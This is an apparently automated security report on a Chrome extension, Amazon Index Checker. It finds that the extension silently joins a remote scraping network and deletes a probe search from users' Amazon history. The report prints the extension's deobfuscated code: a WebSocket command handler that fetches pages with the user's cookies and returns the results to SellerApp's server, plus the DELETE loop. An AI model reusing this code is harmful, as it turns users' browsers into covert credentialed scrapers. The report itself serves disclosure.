Is Amazon Index Checker safe?

High risk

SellerApp Amazon Index Checker is high risk. On service-worker start, Amazon Index Checker opens a persistent WebSocket to SellerApp's scraper-net endpoint, which can send page URLs/parser instructions, fetch pages with credentials included, and return parsed data with raw HTML.…

sellerapp-devv3.0.2Chrome Web Store
75Risk
Who publishes it

SellerApp - 4 other listings from the same operator, 4 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
sellerapp-dev
Declared legal entity
SellerApp
Registered address
800 West El Camino Real, suit 180,, Mountain View, CA, 94040, Mountain View, CA 94040, US
Registered contact
SellerApp

Same store account

4 other listings published from this account, 126k+ users between them. 4 of them carry a finding.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Extension joins a remote scraping network after install

On service-worker start, Amazon Index Checker opens a persistent WebSocket to SellerApp's scraper-net endpoint, which can send page URLs/parser instructions, fetch pages with credentials included, and return parsed data with raw HTML.

Severity
High unwanted
Type
Unexpected
CWE
CWE-940
Source
Dynamic sandbox
What actually happens
You did this

You install the extension or Chrome starts its service worker.

No click in the extension UI is required for the socket initializer to run.

The extension did this

The extension opens a persistent WebSocket that can receive URLs to fetch and parse.

The response sent back over the socket can include parsed page data, request identifiers, status, and optional raw HTML.

Captured request
GETwss://scrapernet.sellerapp.com/scraper-net/websocket

Service-worker WebSocket frames were not captured during dynamic analysis; the code constructs this endpoint and dynamic analysis observed socket_id storage after startup.

Fields attached to the scraper connection and returned results
  • Socket identifier
    dd24c4a8

    Lets the remote service associate requests and responses with this browser profile.

  • Network address
    198.51.100.24 (illustrative)

    Ties the scraper connection to your current network location.

  • Extension type
    index-checker

    Labels this browser as an index-checker node for the remote service.

  • Assigned page URL
    https://www.amazon.in/s?k=shoes&crid=K5MCO7Y02P4D&sprefix=shoes%2Caps%2C396&ref=nb_sb_noss_2

    Shows which page the extension is directed to fetch from your browser.

  • Parsed page data
    {"status":200,"scrapeUrl":"https://www.amazon.in/s?k=shoes&crid=K5MCO7Y02P4D&sprefix=shoes%2Caps%2C396&ref=nb_sb_noss_2","request_id":"req-7f2c9a"}

    Returns page-derived product, seller, review, question, offer, or search-result fields to the remote service.

  • Optional page HTML
    <html><body><div id="search">Amazon search results</div></body></html> (illustrative)

    Can include the fetched page markup when the incoming command asks for HTML.

What's stored on your device

Dynamic analysis observed the extension creating a socket identifier shortly after install, matching the scraper-socket init code path.

Location
chrome.storage.local key 'socket_id'
Contents
{  "socket_id": "dd24c4a8"}
When this fires

Every 30 seconds

After the socket opens, the service worker sends a health message every 30 seconds and retries closed connections with exponential backoff.

The code that does this

Startup, socket construction, command handling, and page fetching

Readable version

Readable startup call

assets/chunk-DHyWPb57.js
function Au(e) {  console.log(e.version), chrome.runtime.reload()}ts.initializeSocket("index-checker", "");chrome.runtime.onUpdateAvailable.addListener(Au);

Readable socket initializer and command handler

assets/chunk-DHyWPb57.js
    fa = (p, k) => {      Kt = Kt, (0, n.get)("socket_id").then(D => {        j = D      }).catch(() => {        j = (0, r.v4)(), (0, n.set)("socket_id", j).then(() => {})      }).finally(() => t(void 0, void 0, void 0, function*() {        var D;        try {          Xe = yield(0, n.get)("country_id"), ht = yield(0, n.get)("ip_address")        } catch {          const u = yield(yield fetch("https://lumtest.com/myip.json")).json();          Xe = u.country, ht = u.ip, (0, n.set)("country_id", Xe), (0, n.set)("ip_address", ht)        }        let g = "";        try {          g = yield(0, s.fetchDetails)(S[Xe])        } catch {}        if (g) {          be = (0, s.parse)(g, a.zipCodeSchema);          const d = (0, s.parse)(g, a.userLoggedInSchema);          !((D = d == null ? void 0 : d.sign_in_button_url) === null || D === void 0) && D.includes("signin") ? Qt = !1 : Qt = !0        } else be = {          zip_code: ""        };        re = (0, r.v4)(), Qe = new WebSocket(`${sa}/scraper-net/websocket?id=${j}&instance_id=${re}&geo=${Xe}&ext_type=${p}&account_id=${k}&ip_address=${ht}&zip_code=${be==null?void 0:be.zip_code}&is_user_logged_in=${Qt}`), ha(Qe, j, p)      }))    };  e.initializeSocket = fa;  const ha = (p, k, D) => {      p.onopen = () => t(void 0, void 0, void 0, function*() {        console.log("WebSocket connection established........"), et = 1e3, Fr = 6e4, mt = 100, Ee && clearInterval(Ee), Ee = setInterval(() => {          p.send(JSON.stringify({            socket_id: k,            status: 200,            type: "health",            zip_code: be == null ? void 0 : be.zip_code          }))        }, 3e4);        try {          const d = yield ma();          p.send(JSON.stringify({            socket_id: k,            status: 200,            type: "login_status",            login_status: d          }))        } catch {          console.log("Error in checking multiple countries login")        }      }), p.onmessage = function(d) {        return t(this, void 0, void 0, function*() {          const y = d.data,            u = JSON.parse(y);          if (u.url || u.parser_config_url.page_type === "RUFUS_EXTENDED") {            let v = u.url;            const M = u.parser_config_url.page_type;            if (M === "RUFUS_EXTENDED") {              const O = S[u.parser_config_url.geo] || "https://www.amazon.in";              if (v = `${O}/rufus/cl/streaming?tabId=${u.tabId||(0,r.v4)()}&ref=nl_cl_dsk_csq&programId=NILE_CLASSIC:desktop-cl`, !u.rufusToken) {                const Y = u.url || O,                  E = yield(0, s.fetchDetails)(Y);                typeof E == "string" && (u.rufusToken = yield(0, e.getRufusToken)(E, Y))              }            }            if (u.zipcode && v) {              const Y = i.default.parseUrl(v).url,                E = /https?:\/\/(www\.)?([a-zA-Z0-9.-]+)/,                H = Y.match(E);              if (H) {                const X = H[0],                  V = yield(0, s.fetchDetails)(X);                yield(0, o.setZipCode)(V, X, u.zipcode)              }            }            const N = M === "RUFUS_EXTENDED" ? {              method: "POST",              body: {                queryContext: {                  query: "best mobile cover to buy",                  actionType: "SEARCH",                  qis: "NileCLTextInput"                },                pageContext: {                  pageType: "SEARCH_RESULTS",                  targetPageType: "SEARCH_RESULTS",                  originPageType: "SEARCH_RESULTS",                  targetUrl: "https://www.amazon.in/s?k=shoes&crid=K5MCO7Y02P4D&sprefix=shoes%2Caps%2C396&ref=nb_sb_noss_2",                  originUrl: "https://www.amazon.in/s?k=shoes&crid=K5MCO7Y02P4D&sprefix=shoes%2Caps%2C396&ref=nb_sb_noss_2",                  targetPageMetadata: [{                    type: "KEYWORDS",                    value: "shoes"                  }],                  pageMetadata: [{                    type: "KEYWORDS",                    value: "shoes"                  }],                  originPageMetadata: [{                    type: "KEYWORDS",                    value: "shoes"                  }]                }              },              headers: {                "Content-Type": "application/json",                "anti-csrftoken-a2z": "hHqVzDHmU7Is8nzCo2Y2worrxE6Le8i4eNuimVauLTHwAAAAAGmv31piMDI3OTI3Mi0xN2VjLTRkM2YtYjI5Yi0yMjlkMjViMmJjOGM=",                Accept: "*/*",                "Cache-Control": "no-cache",                "sec-fetch-dest": "empty",                "sec-fetch-mode": "cors",                "sec-fetch-site": "same-origin"              },              isStream: !0            } : {};            (0, s.fetchDetails)(v, !1, 1, 500, N).then(O => t(this, void 0, void 0, function*() {              let Y = {};              typeof O == "object" && O.status !== 200 ? Y = {                socket_id: k,                data: {},                timestamp: new Date,                status: O.status,                scrapeUrl: v,                instance_id: re,                version: h.version,                html: "",                request_id: u.request_id              } : typeof O == "string" && (M === "RUFUS_EXTENDED" ? Y = yield(0, e.getRufusExtendedDetails)(O, u.url, u.request_id): M === "KEYWORD_SEARCH" ? Y = yield aa(O, v, u.parse_html, u.all_pages || !1, (u == null ? void 0 : u.page_limit) || 7, u.request_id): M === "PRODUCT_LISTING" ? Y = ia(O, v, u.parse_html, u.request_id) : M === "SELLER_PROFILE" ? Y = oa(O, v, u.parse_html, u.request_id) : M === "QNA_DETAILS" ? Y = la(O, v, u.parse_html, u.request_id) : M === "REVIEW_DETAILS" ? Y = yield ua(O, v, u.parse_html, u.request_id): M === "BEST_SELLER" ? Y = da(O, v, u.parse_html, u.request_id) : M === "OFFERS_DETAILS" ? Y = yield ca(O, v, u.parse_html, u.request_id): M === "RUFUS_DETAILS" && (Y = yield(0, e.getRufusDetails)(O, u.url, u.query, u.request_id, u.searchSource))), p.send(JSON.stringify(Y))            })).catch(O => {              p.send(JSON.stringify({                error: "parse error",                request_id: u.request_id,                status: 500              }))            })          }        })      }, p.onerror = function(d) {        Ee && clearInterval(Ee), console.error("WebSocket error:", d)      }, p.onclose = function(d) {        Ee && clearInterval(Ee), g(D)      };      function g(d) {        (!p || p.readyState === WebSocket.CLOSED) && (et < Fr && (et *= 2), mt > 0 ? (console.log(`Attempting to reconnect in ${et} ms. Attempts left: ${mt}`), setTimeout(function() {          (0, e.initializeSocket)(d, Kt), mt--        }, et)) : console.error("Maximum reconnection attempts reached. Unable to establish WebSocket connection."))      }    },

Readable page fetch helper

assets/chunk-BqacqnUB.js
    n = (E, d = !1, f = 1, _ = 500, g = {}) => t(void 0, void 0, void 0, function*() {      var A, I;      let y = 0;      for (; y <= f;) try {        const P = yield fetch(E, {          method: g.method || "GET",          mode: "cors",          credentials: "include",          headers: g.headers || {},          body: g.body ? JSON.stringify(g.body) : void 0        });        if (P.url.includes("ap/signin") && (y = f), P.redirected && d && y !== f) y++, yield new Promise(x => setTimeout(x, _ * Math.pow(2, y)));        else {          if (y === f && P.status !== 200) return {            status: 302          };          if (P.status === 200) {            if (g.isStream) {              if (!P.body) throw new Error("ReadableStream not supported in response");              const x = P.body.getReader(),                w = new TextDecoder("utf-8");              let H = "",                V = "";              for (;;) {                const {                  value: ce,                  done: _e                } = yield x.read();                if (_e) break;                V += w.decode(ce, {                  stream: !0                });                const k = V.split(``);                V = k.pop() || "";                for (const b of k) {                  if (!b.startsWith("data:")) continue;                  const D = b.replace(/^data:\s*/, "").trim();                  if (D) try {                    const v = JSON.parse(D);                    H += (A = v.htmlRenderedChunk) !== null && A !== void 0 ? A : ""                  } catch (v) {                    console.error("❌ Invalid JSON chunk:", v.message)                  }                }              }              if (V.startsWith("data:")) {                const ce = V.replace(/^data:\s*/, "").trim();                if (ce) try {                  const _e = JSON.parse(ce);                  H += (I = _e.htmlRenderedChunk) !== null && I !== void 0 ? I : ""                } catch (_e) {                  console.error("❌ Invalid JSON chunk:", _e.message)                }              }              return H            }            return yield P.text()          } else return {            status: P.status          }        }      } catch {        return {          status: 500        }      }    });  e.fetchDetails = n;
External services contacted by this behavior
    • scrapernet.sellerapp.com

    SellerApp scraper-net WebSocket endpoint that receives connection metadata, health/login frames, and page parsing results.

    • lumtest.com

    IP lookup endpoint used by the initializer before it builds the scraper-net WebSocket URL.

    • amazon.in

    Example Amazon marketplace host fetched and parsed by the code path shown in the service-worker bundle.

Extension deletes 'samsung' search history across 23 Amazon marketplaces

On install, the extension searches 'samsung' on every Amazon marketplace to detect login status, then DELETEs that entry from search history each time.

Dynamic analysis caught 7 DELETEs in 30s pre-interaction; 6 of 7 returned 200.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You install the extension.

No additional setup or Amazon login is required before the behavior fires.

The extension did this

Probes 23 Amazon marketplaces for login status via a hardcoded 'samsung' search, then deletes that entry from your account history on each marketplace.

The DELETE requests fire automatically, before any user navigation, and are not disclosed in the extension UI or Chrome Web Store listing.

Captured request
DELETEhttps://completion.amazon.eg/api/2017/recentsearches?mid=ARBP9OOSHTCHU&s-value=samsung&s-search-alias=aps

HTTP 200 (deletion confirmed). Equivalent requests observed to completion.amazon.sg, completion.amazon.com.au, completion.amazon.co.jp, completion.amazon.com.br, completion.amazon.co.za (all 200); completion.amazon.in returned 502.

The code that does this

Login probe + search-history delete loop

Readable version

Hardcoded keyword

assets/chunk-BwbMeO38.js:3322
const PROBE_KEYWORD = "samsung";

Per-marketplace login probe with cleanup

assets/chunk-BwbMeO38.js:3763-3819
for (const countryCode of Object.keys(AMAZON_DOMAINS)) { const html = await fetchDetails(`${AMAZON_DOMAINS[countryCode]}/s?k=${PROBE_KEYWORD}`); const loginStatus = parse(html, userLoggedInSchema); const result = { geo: countryCode }; result.isLoggedIn = !loginStatus?.sign_in_button_url?.includes('signin'); // ... collect product/review data ... results.push(result); try { await deleteRecentSearch(countryCode); // always runs, regardless of login } catch { console.log('Error in deleting recent search'); }}

DELETE request to Amazon recent-search API

assets/chunk-BwbMeO38.js:3821-3824
const deleteRecentSearch = (countryCode) => { const marketplace = MARKETPLACE_TABLE[countryCode]; return axios.delete( `https://completion.${marketplace.domain}/api/2017/recentsearches` + `?mid=${marketplace.marketplace_id}&s-value=${PROBE_KEYWORD}&s-search-alias=aps` );};
Amazon completion subdomains receiving DELETE requests
    • completion.amazon.com

    Amazon US recent-search API; DELETE removes 'samsung' from account history (marketplace ATVPDKIKX0DER)

    • completion.amazon.co.uk

    Amazon UK recent-search API (marketplace A1F83G8C2ARO7P)

    • completion.amazon.de

    Amazon DE recent-search API (marketplace A1PA6795UKMFR9)

    • completion.amazon.co.jp

    Amazon JP recent-search API; DELETE confirmed HTTP 200 during dynamic analysis

    • completion.amazon.in

    Amazon IN recent-search API; DELETE returned HTTP 502 during dynamic analysis

    • completion.amazon.com.au

    Amazon AU recent-search API; DELETE confirmed HTTP 200 during dynamic analysis

    • completion.amazon.eg

    Amazon EG recent-search API; DELETE confirmed HTTP 200 during dynamic analysis

Why this is unexpected for a seller tool

The extension is advertised as a keyword ranking and index checker for Amazon sellers. Probing all 23 marketplaces on install (before any seller enters a keyword) and then erasing the probe from account history are not functions disclosed in the Chrome Web Store listing or the extension UI. The deletion only targets the single hardcoded keyword 'samsung' — it does not read or transmit search history, and it does not affect other searches.

Updated 30 September 2026khapobkkeheiefaoefgfkamiddljmcga